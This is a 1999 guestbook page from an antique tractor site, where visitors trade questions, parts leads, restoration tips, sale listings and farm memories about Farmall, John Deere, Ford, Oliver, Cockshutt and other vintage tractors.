Brian Palmer wrote on Friday, October 29, 1999 (PDT):This is one of tractors I want we hve a 630, but I wouldn't mind having this one too
David Clippinger wrote on Friday, October 29, 1999 (PDT):Rebel; I have an A with a cracked block. Borrowed a Dremel tool and ground out the crack live a shallow "V." Mixed up some JB weld and patched it up. I even made a plate of 1/8 inch sheet steel as a patch and put it over the crack as reinforcement. I drilled six holes and tapped them to hold it in place, then sealed it with JB weld. If you do this, drill a hole at each end of the crack to prevent it from spreading. Works good; actually runs better than before! Add some stop-leak as a good measure.
Gary Willoughby wrote on Friday, October 29, 1999 (PDT):Does the W4 have hydraulics
Zac wrote on Friday, October 29, 1999 (PDT):my E-mail is pigzac at hotmail.com
Zac Campbell wrote on Friday, October 29, 1999 (PDT):I'm looking to buy a 560 and was wondering how much a good price to pay for one would be.If anybody has any comments you think i would like-please E-mail me!-Thanks!
David Clippinger wrote on Friday, October 29, 1999 (PDT):Mike Shutt; A company named central tractor, based in Iowa, sells sleave and piston kits for the Farmall A and later tractors for about $300. They have an 800 number, but I do not have it on hand. Locally (for me) I can reach them at 4974 East Main Street, Batavia NY 14020 (716) 343-8567. They have a pretty good supply of parts, but I don't know of any other suppliers. If you write to them, they should send you their free catalog and 800 number. If you call them, their help is pretty knowledgeable and helpful. They also sell a shop manual for the A, which describes sleave and piston renewal from above. D.Orlando; I saw couple A's for sale locally for $1400.
Ralph wrote on Friday, October 29, 1999 (PDT):Need to locate a replacement Distributor cap for a 9n that is mounted on the front of the engine block. Anybody got an idea how much and where I might locate one.
Steve Wiesner wrote on Friday, October 29, 1999 (PDT):The painted red f-20 was produced starting in 1936. How long did they make the F-20. Also, the F-30 was produced about the same time. Does anyone know the actual production dates of the F-30 (painted red)
Steve Wiesner wrote on Friday, October 29, 1999 (PDT):Does anyone know the years that the f-14 was in production?
Fred wrote on Friday, October 29, 1999 (PDT):I am looking for a John Deere L or LA for sale in the Wisconsin/Michigan/Minnesota area.
Fred wrote on Friday, October 29, 1999 (PDT):I am looking for a Massey Harris pony tractor in Wisconsin/Michigan/Minnesota area.
michael miller, AKA farmer mike wrote on Friday, October 29, 1999 (PDT):Jeff Formo; the serial # tag should be on the left seat support, about 8 inches or so above the platform Philip Moore ; i think yolu tractor is probably a CUB, 140, 100 or something like that. i am interested in any farmall As, AVs, Bs, etc around the three corners of IN, MI, and OH. thanks in advance. you can go see my tractor at www.geocities.com/Heartland/Farm/7695/myfarmallA.jpg sorry shes not a perfectly restored thing, but.....
Brett Smith wrote on Thursday, October 28, 1999 (PDT):I would like to know if any one has put 4in. sleeves in a 770 block.If so what were they from & how much machine work was needed on the block.This is for a pulling tractor.Any other ideas for building this engine are welcome.
John Walters wrote on Thursday, October 28, 1999 (PDT):I have a '38 G that i use for antique pulling and a 630 Row Crop that i use for plowing events with our 2 cyl club and find the amenities like power steering, hydraulics, electric starting, to be very nice features. At the end of the day you still can feel like socializing.
Jim of Ill wrote on Thursday, October 28, 1999 (PDT):A friend needs to know the paint code for cream color on a 2000 industrial tractor.
Rob Pritchard wrote on Wednesday, October 27, 1999 (PDT):I have a W6 thatis very similar. Your W4 looks great. where can I find parts for a W6 any ideas? thanks
Michael Hall wrote on Wednesday, October 27, 1999 (PDT):Love them farmalls we use an H almost daily, and got 2 M's R.I.P in the feild. Any info on constructing a 3 point hitch for the H would be helpful, got to move into the future and them round bales of hay are to heavy to move easely without one. E-mail any info.
Gary Warren wrote on Wednesday, October 27, 1999 (PDT):My dad owned two model 44's back in 1965. I now own a model 44 that i am resoting. should have it done by next summer.
bart hartog Holland wrote on Wednesday, October 27, 1999 (PDT):HIGH I AM LIVING IN HOLLAND. WE OWN SEVERAL FORDSONS ( DEXTA , MAJOR,POWERMAJOR ) PLEASE KEEP YOUR FORD AS ORIGINAL AS IT IS. THERE IS RUBBISH ENOUGH. IF YOU SEND ME PHOTOS FROM YOUR FORD ILL SEND YOU SOME BACK, KIND REGARDS BART
David Peterson wrote on Tuesday, October 26, 1999 (PDT):I'm having trouble finding parts for a 1915 65-hp Case Steam Traction Engine. In particular are the things like the axels. The majority of everything else can be fabricated on the lathe and mill I have available.
Scott Bosler wrote on Tuesday, October 26, 1999 (PDT):My dad has owned an "R" for 15 years. We have used it in the field and it has become the "flagship" tractor of our local threshing bee. It is one of the best tractors that I have been around as far as the total package for an old tractor.
MIKE MCTIGHE wrote on Monday, October 25, 1999 (PDT):I HAVE A FARMALL 200 IT RUNS GOOD BUT NEEDS RESTORATION I WOLD LIKE TO KNOW WHAT IT WORTH.
quail wrote on Sunday, October 24, 1999 (PDT):I have a l946 model B John Deere Tractor in excellent condition it has John Deere in cast iron in rearend and would like to Trade for 8N Ford tractor in good shape
Rick Brown wrote on Sunday, October 24, 1999 (PDT):Good looking Tractor, not sure on model. I have a 1948-D I'm trying to restore Having trouble finding a Carburator, or rebuild kit for the one I have,CAN ANYONE HELP. Have a Tillotson carb, MODEL ( YC2B ) FOR A HERCULES (IX-Series ) Engine. Serial on Tractor is 2284.
Mike Conger wrote on Sunday, October 24, 1999 (PDT):I have just bought a Model Z MM the year is unknown. The serial # is 00608856. If anyone can help me find parts, manuals,etc Please e-mail me.
Richard Krohn wrote on Sunday, October 24, 1999 (PDT):Need info on 1900 series oliver. Need to know year model of this tractor
richard krohn wrote on Sunday, October 24, 1999 (PDT):NEED INFO ON MASSEY FERGUSON 98, LOOKING FOR YEAR MODEL, NEED RPM, HORSEPOWER. ALSO ANY OTHER INFO YOU MAY HAVE. MY FATHER-LAW HAS ONE THAT HE PULLS
Dave Fritsch wrote on Sunday, October 24, 1999 (PDT):Wrote on 10/24/99.I have a 1938 3-wheeler. I use it to rake hay once in a while and to run a 38' grain elevator.My thought is it is a dangerous tractor because you can't push in the clutch and hit both brakes at the same time!
rob ralcewicz wrote on Sunday, October 24, 1999 (PDT):love this site keep it up and can you find some pics on the MM. jet star 3
Rob Carlon wrote on Sunday, October 24, 1999 (PDT):The wheels on this one are the wrong color yellow. The ones on this tractor appear to have been painted with John Deere yellow. The original MH color is lighter like the wheels on the MH 44. The engine was probably red I have never seen an MH with a black engine.
C Edwards wrote on Saturday, October 23, 1999 (PDT):Is the front hub of a Pacer and the Pony the same part?
DAVID SMITH AND SISSY wrote on Saturday, October 23, 1999 (PDT):WE ALSO OWN A 1947 JDH, ELECTRIC START AND HYDRAULICS. HE REALLY ENJOYS DRIVING THE H, BUT I CANT SAY I FEEL THE SAME AFTER PULLING A CULTIPACKER ACROSS 50 ACRES. WE OFTEN HAVE 2 CYLINDER TRACTORS/PARTS AT OUR BUSINESS SMITHS EQUIPMENT MCDANIELS KENTUCKY EMAIL;POPNMAMA at BELLSOUTH.NET
SMITHS EQUIPMENT/POPNMAMA at BELLSOUTH.NET wrote on Saturday, October 23, 1999 (PDT):WE ARE FROM MCDANIELS KY WE OWN A 420T W/ORIGINAL WIDE FRONT WITH 1600 ORIGINAL HOURS. WE OFTEN DEAL WITH 2 CYLINDER TRACTORS AND EQUIPMENT
DAVID SMITH & SISSY wrote on Saturday, October 23, 1999 (PDT):WE HAVE THE 2ND JD 720 DIESEL EAST OF THE MISSISSIPPI, THAT MY UNCLE BOUGHT NEW IN 57'. I THINK IT IS ONE OF THE BEST TRACTORS THAT JD EVER BUILT.
Mario Plourde wrote on Saturday, October 23, 1999 (PDT):first tractor to Albanel is a 8-16 kerosene in 1920 I need information on performance and price in 1920. thanks.
Steve Jones wrote on Saturday, October 23, 1999 (PDT):Wishing to purchase Farmall B with mint restoration. Will pickup anywhere in continental United States. 800-237-8361
Tom wrote on Saturday, October 23, 1999 (PDT):I have a 1947 vac and would like to put a 3 point hitch on it. Any info on this would be apreciated.
Bill Carlson wrote on Saturday, October 23, 1999 (PDT):I remember being 6 years old and going to my uncle Georges farm to help during haying season. The little Oliver 60 is the one my brother and I would drive with the Case conditioner on it while George Mowed with a John Deere mower. (By the way, George had two of the 60's) I worked on the farm with him til I was 16. During that time he thought he needed a bigger tracktor so he bought an Oliver 660. George was allways swappen parts back and forth to keep one or the other working. I think he still has one of the 60's and the 660. I'll ask him next thanksgiving. Those were sone of the best memories I have of growing up. I can still remember just what that tractor sounded like every time I drive through the country and smell the fresh mowed hay. Those thoughts will never leave me.
Rob Carlon wrote on Friday, October 22, 1999 (PDT):My dad has a 44 diesel row crop. I believe hp rating of the diesel is 43hp, and the gasoline version produced 39 hp.
DARRELL BEARD wrote on Friday, October 22, 1999 (PDT):I HAVE A 420C WITH WHAT I BELIEVE IS A JOHN DEERE BLADE-POWER UP+DOWN MANUAL TILT +ANGLE VERY RELIABLE MACHINE BUT NOW POPS OUT OF FOWARD GEAR- ANY IDEAS ?
Larry wrote on Friday, October 22, 1999 (PDT):I am restoring a 1948 Cub and I have two questions, where can I get a match for the red paint? and did the early cubs have a grill in front and what color was it?
Brantley Murphy wrote on Thursday, October 21, 1999 (PDT):I have a Case SC that our family used on our beef farm in the 70's. It was used to pull a new 273 New Holland square baler. The hand clutch made it the best tractor we have ever used to bale with. It set in the woods for 14 years and the motor stuck, so I shot diesel fuel in the cylinders. A couple days later my wife pulled me up the road and it broke free on the first try. After rewiring it and rebuilding the carb the tractor fired up and ran like a charm. NOTHING RUNS LIKE A CASE!!!
Gary Jenkins wrote on Thursday, October 21, 1999 (PDT):I've got a '55 TO-35, that has a Massey-Harris-Ferguson serial number plate. This tractor is dark green with grey sheetmetal. Does anyone know any paint numbers or names of colors for the green and grey? I also need the front hood emblem. Thanks.
Beef K wrote on Wednesday, October 20, 1999 (PDT):My father alway told me when we get our "G", it was like colavateing with horses in our garden.
Mathew Cote wrote on Wednesday, October 20, 1999 (PDT):My uncle has a 1960 1900 that he pulls with at the antique shows. The 4-53 Detroit/GM is a sweet diesel engine. He does well in the 11000# classes and up. It's one of the toughest tractors from that era.
Mathew Cote wrote on Wednesday, October 20, 1999 (PDT):The super 98 is the best antique pulling tractor that I've seen The 3-71 Detroit diesel is a strong engine and sounds sweet pulling down the track.
john wrote on Wednesday, October 20, 1999 (PDT):I have just bought a fordson major diesel, but it has never been registered for the road, what do i do?
GARY wrote on Tuesday, October 19, 1999 (PDT):I HAVE WHAT I BELIEVE IS FACTORY INSTALLED HEAD LIGHTS ON MY TO-20. I HAVE HAD A DIFFICULT TIME TRING TO LOCATE REPLACEMENT BULBS FOR THIS 6 VOLT SYSTEM. CAN ANYONE TELL ME IF THESE WERE AN OPTION OR IF THEY WERE AN AFTER MARKET ADD ON. THANKS FOR ANY ADVICE GDGREZ
mel hopkins wrote on Tuesday, October 19, 1999 (PDT):my father has a IH cub serial # 37119 what year would that be and what is it worth i have no e-mail at this time so write me at 3520 walker road colo springs colo 80908
Mildrige Anderson wrote on Tuesday, October 19, 1999 (PDT):Request information on the model zau minneapolis moline. lMy dad bought tis tractor in 1949. I need some of the hadraulic lift parts.
Garrett Edwards wrote on Tuesday, October 19, 1999 (PDT):We have an old and rusty Farmall F-20. I was thinking about fixing it up. Its in pretty bad shape. I wish to by parts for it. If anyone knows please let me know. Thanks.
Tom Hoehman wrote on Tuesday, October 19, 1999 (PDT):found F12,not running,not froze,n.f. It has rubber front and rear,no fenders fairly rusty and 20 lbs. pidgeon crap. Need help figuring a reasonable offer.Thanks.
tony cantu wrote on Tuesday, October 19, 1999 (PDT):JUST BOUGHT A 1974 CUB WITH A 6 FOOT BELLY MOWER ARE THERE ANY ATT. THAT WILL FIT IT
John Niekamp wrote on Monday, October 18, 1999 (PDT):I have a 1948 8N and I have restored back to original as can be expected. The tractor runs and looks like new (started right off the bat at minus 20F.) but I did had some problems with the 3 pt hitch last winter when it got cold out about 30 degrees I decided to put my rear blade on it and the draw bar links would not go up or down due to the old probabaly the original oil in the tranmission system. What is the cause for this is they oil to thick or is there some problem the hydro? It worked great this summer but winter is quickly approaching. What oil should be used? and what volcity?
Sean Fink wrote on Monday, October 18, 1999 (PDT):this tractor looks similar to my moms but, hers has only one front wheel and the steering wheel on hers is offset to the left. I am looking for pricing info, she wants to sell hers. Any info where to look for prices would be greatly appreciated.
George wrote on Monday, October 18, 1999 (PDT): Does any-one know how much horse power a 1954 Case SC has?
Clayton wrote on Sunday, October 17, 1999 (PDT):Interested in 830 for sale. Please email information to; kopla at frontiernet.net
Dale Elswick wrote on Sunday, October 17, 1999 (PDT): ..HAVE JUST BOUGHT A FORDSON MAJOR DIESEL, WAS .TOLD IT WAS A 1962 MODEL 65 HP .HAVE ABSOLUTELY ..NO IDEAL AS TO MODEL # WOULD LIKE INFORMATION REGARDING .THIS TRACTOR OR WERE I COULD OBTAIN ONLINE INFORMATION. THE .TRACTOR HAS FRONT ENDLOADER 30INCH WHEELS IN REAR LARGE MACHINE,WAS TOLD IT WEIGHTS ABOUT 5800LBS
Bethany Newman wrote on Saturday, October 16, 1999 (PDT):My father has an LA sitting in his barn. He bought it to restore but hasn't been able to find a good place to start. He's looking for a parts or operational manual. Does anyone know where I can find some information to pass on to him? I would appreciate any bit of information. Thank you.
Ed Rusch wrote on Saturday, October 16, 1999 (PDT):Found my F-20 in a junk yard. Runs like a new one and, other than being very rusty, has had a sheltered life I am sure. No "self commencer" and last winter when my truck got stuck, it popped off on the 4th pull at 5 degrees. Paid $800 for it. Going to invest in some paint soon.
Dale Smith wrote on Saturday, October 16, 1999 (PDT):I bought a 770 that must be newer. It has the flat fenders and tapered nameplate. I am looking for parts. I need some sheet metal and a three point. It was used for picking peas originally by Libby. HELP
Jeff wrote on Friday, October 15, 1999 (PDT):I have an 88 row crop. Will try to send pictures later. I don't have the wheels painted the right color, does anyone know the paint no. for the wheels? It's sort of an off red color like to 60 & 70 row crops. Later OLE JEFF
Jim Grissom wrote on Friday, October 15, 1999 (PDT):I just bought a 1941 VC Case tractor. Where do I begin to start to restore this tractor? Where can I get parts? I live in southern California and live in the rural town of Acton. The tractor runs well, but the starter currently does not work. I'm new to owning tractors, so i would appreciate all the help anyone has to offer.
George Garcia wrote on Thursday, October 14, 1999 (PDT):I am restoring a model sc serial # 5503064-sc and i am having problems locating pistons and liner kit. I would appreciate any information in locating this parts.
Donna Bass wrote on Thursday, October 14, 1999 (PDT):Have a JD MT 50 some on make an offer. Very Good condition
terry newsome wrote on Thursday, October 14, 1999 (PDT):looking for mallory distributer for 6 cyl
Terry Reynolds wrote on Thursday, October 14, 1999 (PDT):I have a Model A (not running, but it's all there) with a Hercules engine. It looks just like the picture here. It came with the farm when I moved here ten years ago, just have never got around to working with it. Also had a JD that I sold and a David Brown 990 that I use. I don't want to sell the Avery but would be interested in its value, parts available, etc.
larry dunn wrote on Thursday, October 14, 1999 (PDT):i need a feul pump for a f12
John Horter wrote on Wednesday, October 13, 1999 (PDT):1951 H For sale. Completely restored. Great tires, runs good. New oil, grease, water jacket, seals, lights work, everything just like new. Need to sell, cheap. NE South Dakota.
John Horter wrote on Wednesday, October 13, 1999 (PDT):1935 Farmall F-20 For sale. All restored, nearly new tires, runs great. Need to sell. Best offer. NE South Dakota.
brian wrote on Wednesday, October 13, 1999 (PDT):My great grandfather bought a oliver 60 new. Its still in the family. I also bought an oliverr 70. both the 60 and the 70 have a full set of culivators on them.
Bill Drinane wrote on Wednesday, October 13, 1999 (PDT):I own a 1959 IH model 340 utility. I'm looking for the cable that connects the tach to the drive on the distributor.
Martin Coleman wrote on Wednesday, October 13, 1999 (PDT):I have a 9N, not sure of the serial number, but i am repainting it. It looks like the bottom was red, but ive never seen a 9N with red. If someone could confirm this i would really appreciate it
PRESTON WELLS wrote on Wednesday, October 13, 1999 (PDT):we need a fuel pump(good working condition) for a school project(FFA) we are working on. any help would be appreciated.
Roger Boise wrote on Tuesday, October 12, 1999 (PDT):I haved restored a 1919 8-16 kerosene tractor. I have converted it back to steel wheels and have taken it to many shows with many comments. I have some misc. parts and pieces that you might possibly be interested in. I am selling my 8-16 which will be on Yahoo auctions along with other tractors and engines that I have for sale. I look forward to hearing further from you.
Ed white wrote on Tuesday, October 12, 1999 (PDT):Have one with cultivators. Dont know what its worth. Good shape w/new paint. Gas. Help
Frank Anderson wrote on Monday, October 11, 1999 (PDT):I have a Fordson Major Diesel, with 6 speed trans high and low, was blue and now has yellow painted over the blue. It has a Sherman Power Digger model 54E100 and a Warner Front Loader. 26 inch rear tires and 16 inch front tires. Simms Injectors for the 4 cylendar Diesel. I need any and all help to identify my tractor. Please e-mail me as soon as possible. Thank you, Frank Anderson
Russell Vetter wrote on Monday, October 11, 1999 (PDT):I own a 1954 Oliver 66 Row Crop Diesel and I'm wondering if there is anyone else out there with the same type of tractor. I just had the engine rebuilt at great expense and I'm wondering just how rare this tractor is.
JOHN SAND wrote on Monday, October 11, 1999 (PDT):MY B IS A FARMALL B IVE TRIED BLOWING IT OUT WITH AIR ITS KIND OF MIXED WITH THE OIL AND DOESNT COME OUT REAL EASY I SURE WISH I WOULD OF THOUGHT OF THIS BEFORE ITS A HARD LESSON WHAT DO YOU THINK COULD HAPEN IF ANYTHING?
JOHN SAND wrote on Monday, October 11, 1999 (PDT):I sand blasted my B With oil pan off i now have sand up inside of motor now what?
steve georgesen wrote on Sunday, October 10, 1999 (PDT):I have a 1952 cub with belly mover and a rigged up grader blade I pull behind for snow removal. I'm looking for a front or belly mount blade and instructions for mounting it.
joe hubbard wrote on Sunday, October 10, 1999 (PDT):i have a jd h tractor and i need the block and pistons. does any one know where i can buy ine
Jim Plants wrote on Sunday, October 10, 1999 (PDT):I recently bought my first tractor. A beautiful W4 1952. I've rewired it. put some TLC into it and bushhoged about 25 acres with it. I'm having some trouble getting the generator to keep the battery charged, but it's a peach
Bill Bascom wrote on Sunday, October 10, 1999 (PDT):Just found this site and thought i'd put in my 2cents....lol My dad owns a 40B (hand spin) bought new in 39 by my grandfather..if all goes right will be mine.(but not pushing...lol). It's still all oridginal..even have 1st iron wheels for it.
rick clyatt wrote on Sunday, October 10, 1999 (PDT):I am looking at a Ford Model 600, is this tractor also known as a NNA and what year. Is as reliable as the 8N or should I look for an 8N instead.
John Frick wrote on Sunday, October 10, 1999 (PDT):I would like to find an 8N or Jubilee in excellent working condition, preferably with some working attachments, to help me with light farming and land maintenance. I also love to look at 'em!
david barnard wrote on Sunday, October 10, 1999 (PDT):I have one of these tracters and its on lp gas and it pulls great I drive it all the time
David Barnard wrote on Sunday, October 10, 1999 (PDT):My dads boss has on of these 830 and the moters lock up and it has been setting since 92 and I want it so bad it can pull a 21 foot disc on 125 acers a day
Roger Mumm wrote on Saturday, October 09, 1999 (PDT):I have a 1950 Cub for sale. It is equipped with a sickle-bar mower and single bottom plow and has hydraulics. It has new paint, tires, wiring, etc. Asking $2800. Located in Northern California.
Jim Stephenson wrote on Saturday, October 09, 1999 (PDT):I would like to purchase a "66" series Oliver. e-mail me as to what you may have.
Jim Stephenson wrote on Saturday, October 09, 1999 (PDT):Kurt wrote on July 01,1999 he needs wheel-do you need wheel or rim? Ihave a rim. e-mail me.
Jim Stephenson wrote on Saturday, October 09, 1999 (PDT):I own a SH Farmall given to me by my Father. Still have origional owners manual. It is in excellent workin condition. The serial number is; 13518 J Can anyone tell me what year it was built?
Chuck Nordstrom wrote on Saturday, October 09, 1999 (PDT):I couldn't believe my eyes when I saw that umbrella. We had one we used on our Z model that looked very similar. It fit right into a stanchion pipe just to the right of the steering column
Chuck Nordstrom wrote on Saturday, October 09, 1999 (PDT):Of course, all of you are correct about the later vintage of this Z MM. I have many hard hours riding that seat on a 1949 Z -- but, in its day, this was one of the easiest tractors to mount and dismount. But, you had to watch out for that PTO as my father and brother both learned to their very painful reqrets.
Wally Walen wrote on Friday, October 08, 1999 (PDT):Just purchased a 1941 Model LA today. It's in great shape, and I got two JD plows to go with it. I have a modern 870 and an antique H, as well.
walt howard wrote on Thursday, October 07, 1999 (PDT):I have a JD model 50,with live PTO and powertrol which must be engaged by turning a lever located to the left and above the gear box,it has a 3pt that works great. I also have a B,9N,Farmall A and C,but my 50 is best all round.
Pat wrote on Thursday, October 07, 1999 (PDT):my friend has a john deere b and was wondering about was horse power it was and if anybody had a layout for the wiring of the lights and everything else?
david buchholz wrote on Thursday, October 07, 1999 (PDT):i have a tractor that i know is a f-12,but that is all i know about it. the paper work all points to 1933. this tractor has steel wheels single in the front. i just got this tractor and would like to restore it if it is worth doing. i've never done a tractor before and would like to research it first. i could use any information i could get on this. thank you
Rev. Lyle M. Miller, Sr. wrote on Thursday, October 07, 1999 (PDT):I am looking at a Farmall Cub with a hydraulic lift. There is a bracket that bolts onto the back of the tractor that is used with a long rod about 5 feet long that connects to the lift bar on the side of the tractor. I don't know what these two pieces are called, but they are missing and I would like to know about how much they might cost to replace either new or used. Also, a second question has to do with replacing brake parts on the cub. How difficult is it? From what I can see, it doesn't look as if it would be too hard, but then I have never tried to do anything like this on a tractor before. There is always a first time.....thank you any and all for any information.
ZANE wrote on Wednesday, October 06, 1999 (PDT):I have invented an attachment that I call the ZANE THANG to convert the lift so that it has position control which none of the tractors with the Ferguson system originally has. It bolts on in minutes and you do not have to alter any part of the original lift or tractor.If you would like information about the particulars on this much needed device just send me an Email at wzsherman at aol.com
Ken Campbell wrote on Wednesday, October 06, 1999 (PDT):I recently purchased a Farmall A, and would be interested in seeing some pictures of others. Mine has been painted and has all new decals. I'm enjoying owning it. I've always been interested in tractors.
Cliff wrote on Wednesday, October 06, 1999 (PDT):Need an exhaust manifold for a 1964 Fordson Super Major. Any help would be greatly appreciated. Thanks, Cliff
George Magloczki wrote on Wednesday, October 06, 1999 (PDT):I have a Farmall-Cub tractor Serial No. 139658. can anybody tell what year is it. Thank you.
Mark Rowe wrote on Wednesday, October 06, 1999 (PDT):Being a son of a cornish farmer i have dealt and driven tractors all my life. I have pictures, vidoes,newspaper cuttings. Of course the `john deere` is my favourite. Please please feel free to email me pictures of addresses of fellow tractor lovers. Thanks so much. MR
H HALE wrote on Tuesday, October 05, 1999 (PDT):HAVE TWO C-175 ENGINES. THAY NEED A HOME. ONE IS COMPLETE,ONE IN BASKET. HAVE PICTURES OF COMPLETE ONE THAT CAN BE E-MAILED.
scott hart wrote on Tuesday, October 05, 1999 (PDT):i can see from the photo that this tractor is a rare one. i haven't seen too many B's with a single front wheel. the frame style suggests that this tractor was produced later than 1935. i would say around 43 to 49. if i am wrong feel free to correct me. thanks
Charlie Crume wrote on Tuesday, October 05, 1999 (PDT): Looking for a Farmall 10-20.. any one have one or pictures of one.... my Dad started farming with on... thanks
Ted wrote on Tuesday, October 05, 1999 (PDT):I have a B for parts. Engine is froze.
Mike Dunn wrote on Tuesday, October 05, 1999 (PDT):I just bought a leader that looks like the one in the picture. It has a 3 point hitch and a pto. The man I bought it from thought it was from the late 50's but it looks a lot like the one in the picture. Does anyone know any info on Leaders that may be helpful.
Louie Vogt wrote on Monday, October 04, 1999 (PDT):I am looking for a 756,766 or 856 in need of repair. I live in Southwest Wisconsin. Price Range is about 1,000 to 2,000 dollars
Brian wrote on Monday, October 04, 1999 (PDT):Rick, If Im not mistaken, serial# *8N225324* is a 1949, not a 1950 like you said. According to my info, 1949 starts at *8N141370* and 1950 starts at *8N245637.
Erich Henning wrote on Sunday, October 03, 1999 (PDT):I am looking for a farmall f-20. My dad talked about the f-20. That's his dad had once on the farm. Iwould like to find one. for him. preferably one needs some TLC. Any informatoin on finding one would greatly be appreciated by
R Harmon wrote on Sunday, October 03, 1999 (PDT):I am interested in the condition, asking price, and location of this tractor.
Webb wrote on Sunday, October 03, 1999 (PDT):does anybody have a Allis Chalmers "G" for sale in North Carolina or know anybody that does or in southern Virginia under $2,000 that is not restored
thomas fagen wrote on Sunday, October 03, 1999 (PDT):10's are cool, but lets face it. The 1206 will rule forever
Blair wrote on Sunday, October 03, 1999 (PDT):Can anyone tell the what the difference is between a Major and a Dexta. Not a Super. X'z
Al Deemer wrote on Sunday, October 03, 1999 (PDT):October 3, 1999 Needed; Starter for 1938 IXB Hercules engine for 1936-38 tractor. Al
Dennis wrote on Sunday, October 03, 1999 (PDT):Our 50 looked just like this one
Dennis Koeman wrote on Sunday, October 03, 1999 (PDT):We farmer with Cocksutt 40 gas and 50 gas. We milked 50 head cattle. They were very smoth runing tractors.
Dave Pettigrew wrote on Sunday, October 03, 1999 (PDT):We have just purchased a W4 Im looking for wiring diagram and how to ajust brakes Thanks Dave
EDD HADRYCH wrote on Sunday, October 03, 1999 (PDT):In 1939 my dad bought a ~1937 Farmall F-12. I worked that tractor from 1940 till around 1948. It was incredibly rugged I'm currently attempting to create an illustration of it.
tommy wrote on Friday, October 01, 1999 (PDT):does anyone know what the hp is for the wd45?
Greg wrote on Friday, October 01, 1999 (PDT):I have a 1950 VAO and I am looking for a rear rim. It is a 10x28 with clamps. If you can help with any information it would be great.
James Borders wrote on Friday, October 01, 1999 (PDT):I own several H John Deere tractors and am finishing another one . I too am enjoying restoring them to good condition.
James Borders wrote on Friday, October 01, 1999 (PDT):I own several H John Deere tractors and am finishing another one . I too am enjoying restoring them to good condition.
doug johnston wrote on Wednesday, September 29, 1999 (PDT):I have a Cockshutt 40 diesel with the Buda 6 cylinder engine. It was siezed when I bought it 2 years ago. I have stripped down the engine completely. I have had problems getting sleeves. 4 of them were badly pitted. All other parts are available. Hope to have it running by next summer.
Judy McKellips wrote on Wednesday, September 29, 1999 (PDT):We have what I believe to be a Super 55. It was supposed to run when we acquired it in a trade except for a bad starter. My husband never had time to work with it so we don't know for sure. It's in rough but restorable condition. Can any one give me a rough idea of value on it? We are going to be moving soon and can't keep it. Any help is appreciated.
Dave Sapp wrote on Tuesday, September 28, 1999 (PDT):For Tom Martin; Keep the transmission oil changed every year to avoid wear to the Ampli-Torque in low range. If it becomes worn it will growl in low range. HP can be from low 70's to upper 80's depending on what heads and pistons you have.
Rob wrote on Monday, September 27, 1999 (PDT):Does anyone have a 770 for sale? E-mail me
Adrian Callard / Martin Schmidt wrote on Thursday, September 23, 1999 (PDT):My son Martin in Windhoek, Namibia, Africa has a gasoline Super 55. He urgently needs a new DELCO starter for it as it keeps breaking the starter spring. Can anyone give me part nos, prices and availability for both the starter and the spring. Also, does anyone one know why the spring would keep on breaking. Many thanks for your help, Adrian
C M Sullivan wrote on Thursday, September 23, 1999 (PDT): Oliver 550 Ser# 66153-519 Can anyone tell me the year this tractor was manufactured?
Danny Lang wrote on Wednesday, September 22, 1999 (PDT):This looks like a pretty good 1066. I own one and my boss has one too. I operate these tractors everyday. Many farmers around my area have 10's.
C. Douglas Caffey wrote on Monday, September 20, 1999 (PDT):I have Have located an L model in good condition. What is a reasonable price? Can needed parts be found for this model? Thanks for your comments.
Mike Blenkin wrote on Sunday, September 19, 1999 (PDT): I know someone who own's a 1960 or 1962 Massey Ferguson '98 tractor in fair condition. How much is it worth?
Tim Springstead wrote on Friday, September 17, 1999 (PDT):The G1000 shown in this picture belongs to Wes Kentch of Ferndale Wa. It is used on his farm to along with several other MM's
Tim Springstead wrote on Friday, September 17, 1999 (PDT):Greetings! The tug shown here belongs to my neighbor. The reason this is red and not olive drab is that it belonged to the Boeing company in Seattle, I have a picture of this one and 5 others pulling brand new B-17 bombers out of the production plant at Boeing field. Jeff Kentch is the owner of this NTX.
brad haugenoe wrote on Friday, September 17, 1999 (PDT):i spent a couple hundred hours a year for seven years on one of these, still own it but dont use it anymore.
Ron Heuss wrote on Friday, September 17, 1999 (PDT):I believe there is one of these in Temple, Texas on the showgrounds of the Texas Early Day Tractor and Engine Association. It belongs to Frank Turner of Temple
Cody Craig wrote on Thursday, September 16, 1999 (PDT):How good does it run does it run well or very bad? How good is the motor? How many miles does it get to the gallon?
chuck cook wrote on Monday, September 13, 1999 (PDT):I HAVE A CLETRAC GG MODEL# 212 I'M LOOKING FOR MORE INFO ON IT. IT HAS BEEN MODIFIED DRASTICALY . ITS VALUE AS A COLLECTOR TRACTOR IS PROBABLY TOTALLY GONE,BUT IT DOES HAVE A PERSONAL VALUE TO ME . I USE IT TO SKID LOGS, PULL STUMPS, BUSHHOG, PULL WOOD WAGON, AND HOPEFULLY THIS WINTER,PLOW SNOW. ANY INFO ,PICTURES WOULD BE GREATLY APPRECIATED.
James Monday wrote on Sunday, September 12, 1999 (PDT):Do you have any information on the Oliver 70 Orchard/industrial, such as a owner's manual, service parts book? If so, please e-mail me back.
Bud Arter wrote on Saturday, September 11, 1999 (PDT):my dad just bought an R about six months ago and we are in the process of rebuilding it and restoring it.we are having a hard time finding .045 pistons. if any one knows were there are aset of pistons we like to know.
Robert Ellefson wrote on Friday, September 10, 1999 (PDT):I grew up on a dairy farm in northern Wisconsin (Ridgeland) and used Cockshutt tractors in the 50's and 60's. We had a COOP E-3 narrow front which when locally repainted was converted to the Cockshutt 30 colors and decals. We also bought a 1954 Cockshutt 30 with an adjustable wide front for row crop work. The standard wide front in your picture was too low to the ground to cultivate corn or beans but was good to stabilize the front end. The best feature of the tractor was the live power takeoff. It was the tractor of choice locally for running anything with a power takeoff. The tractor also had a good balance of power to weight so it's traction was remarkable. In the hills of Wisconsin the wide fron was necessary. My Father tipped over the narrow front in a sidehill with a front end loader raised. No doubt having the loader raised caused the tipping but it also made a "roll bar" which protected him; he escaped with minor bruises. WE sold the narrow front within a month. Cockshutt also made some follow on tractors; The 540 low boy; The 550 Standard (50 HP)which we had for many years in the 60's and the 560 diesel (60 HP) and there was a 570 Diesel for larger farms. These tractors were all cream colored with white logo panels. Their style was used by Oliver for their 1650, 1750 and 1850 models which weree of course green. There seems to be a lot of collectors of the 30's and 40 Cockshutts. The 550, 560, and 570 were similar workhorses that had many advanced features which John Deere and others eventually copied. I guess the Cockshutt is the SAAB of the tractor world. As a proud owner of many SAABs with their quirky but advanced engineering features, I appreciate in retrospect the advantages of Cockshutt tractors in their heyday.
